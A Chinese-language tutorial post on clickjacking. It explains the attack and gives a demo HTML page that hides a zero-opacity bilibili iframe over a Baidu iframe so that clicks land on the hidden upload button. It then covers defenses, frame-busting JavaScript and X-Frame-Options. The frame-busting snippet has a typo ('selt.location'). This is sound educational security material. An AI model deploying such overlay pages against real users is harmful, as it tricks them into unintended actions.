ClickJacking介绍
Clickjacking is an attack that tricks a user into clicking a webpage element which is invisible or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online.
Reference: https://www.imperva.com/learn/application-security/clickjacking/
通常,点击劫持是通过在用户看到的页面上层显示不可见的页面或HTML元素来实现的。用户认为他们单击的是可见页面,但实际上,他们单击的是附加在页面上层的不可见元素。
看山不是山,看水不是水大概说的就是这个了吧?
攻击效果
由于点击劫持的恶意网页是攻击者自己构建的,所以CSRF和XSS能完成的大部分攻击,点击劫持都可以实现。
在后台,攻击者可能会检查用户在访问恶意网页时,是否同时登陆了银行、电商等网站。如果是,就会通过后台调整用户浏览器行为,诱导用户完成转账等行为。
当页面有与用户交互的行为时,许多XSS和CSRF攻击都会失效。而点击劫持,它正是利用页面与用户的交互行为,在用户不知情的情况下,完成了攻击。
在Flash的早期版本,有攻击者通过构造出点击劫持,在一系列复杂的动作之后,最终控制了用户电脑的摄像头。
简单示例:
伪装成百度的恶意网站
真实的情况(百度一下按钮和B站的投稿按钮是重叠的)
代码:
<!--
点击劫持
-->
<!DOCTYPE html>
<html>
<head>
<title>百度一下</title>
<style type="text/css">
#baidu{
border-style: none;
z-index: 1;
}
#bilibili{
border-style:none;
z-index: 3;
width: 900px;
height: 900px;
position:absolute;
top:233px;
left:202px;
opacity:0;
}
</style>
</head>
<body>
<iframe src="https://www.baidu.com" width=100% height=1000px id="baidu" ></iframe>
<iframe src="https://www.bilibili.com/" id="bilibili" scrolling="no" ></iframe>
</body>
</html>
防御措施
1、frame busting: 写一段JavaScript代码,以禁止iframe的嵌套。
如:
if(top.location != location){
top.location = selt.location;
}
2、使用HTTP头X-Frame-Options
The X-Frame-Options HTTP 响应头是用来给浏览器 指示允许一个页面 可否在 <frame>, <iframe>, <embed> 或者 <object> 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免 clickjacking 攻击。
参考资料
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/X-Frame-Options
《白帽子讲Web安全》